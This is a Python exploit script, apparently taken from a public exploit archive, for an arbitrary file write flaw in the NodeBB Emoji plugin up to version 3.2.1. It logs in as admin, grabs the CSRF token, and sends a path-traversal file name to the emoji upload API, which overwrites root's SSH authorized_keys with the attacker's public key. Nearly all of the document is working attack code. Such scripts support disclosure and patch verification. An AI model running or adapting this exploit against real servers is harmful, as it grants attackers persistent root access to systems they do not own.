# Exploit Title: NodeBB Plugin Emoji 3.2.1 - Arbitrary File Write
# Date: 2021-02-01
# Exploit Author: 1F98D
# Software Link: https://nodebb.org/
# Version: Emoji for NodeBB <= v3.2.1
# Tested on: Ubuntu 18.04 (x86)
# Software Link: https://github.com/NodeBB/nodebb-plugin-emoji
#
# The Emoji for NodeBB which is installed by default contains an
# arbitrary file write vulnerability to insecurely handled user controlled
# input.
#
# This exploit requires administrative access to the NodeBB instance in order
# to access the emoji upload API.
#
#!/usr/bin/python3
import requests
import sys
import re
TARGET = 'http://192.168.1.1:4567'
USERNAME = 'admin'
PASSWORD = 'password'
DESTINATION_FILE = '/root/.ssh/authorized_keys'
SOURCE_FILE = '/home/kali/.ssh/id_rsa.pub'
headers = { 'User-Agent': 'NotPython' }
s = requests.Session()
r = s.get('{}/login'.format(TARGET), headers=headers)
if r.status_code != 200:
print('[!] Error, {}/login unavailable'.format(TARGET))
sys.exit(1)
csrf = re.search('name="_csrf" value="(.+)?" />', r.text, re.IGNORECASE)
if csrf is None:
print('[!] Could not extract csrf token to proceed.')
sys.exit(1)
auth = {
'username': USERNAME,
'password': PASSWORD,
'_csrf': csrf.group(1)
}
r = s.post('{}/login'.format(TARGET), headers=headers, data=auth)
if r.status_code != 200:
print('[!] Error, login failed')
print('[!] Status: {}'.format(r.status_code))
print('[!] Response: {}'.format(r.text))
sys.exit(1)
print('[+] Login successful')
r = s.get('{}/admin/plugins/emoji'.format(TARGET), headers=headers)
if r.status_code != 200:
print('[!] Error, could not access emoji plugin')
print('[!] Status: {}'.format(r.status_code))
print('[!] Response: {}'.format(r.text))
sys.exit(1)
print('[+] Emoji plugin is installed')
files = {
'emojiImage': open(SOURCE_FILE)
}
data = {
'fileName': '../../../../../../..{}'.format(DESTINATION_FILE)
}
r = s.post('{}/api/admin/plugins/emoji/upload'.format(TARGET), headers=headers, data=data, files=files)
if r.status_code != 200:
print('[!] Error, could not upload file')
print('[!] Status: {}'.format(r.status_code))
print('[!] Response: {}'.format(r.text))
sys.exit(1)
print('[+] Successfully uploaded file')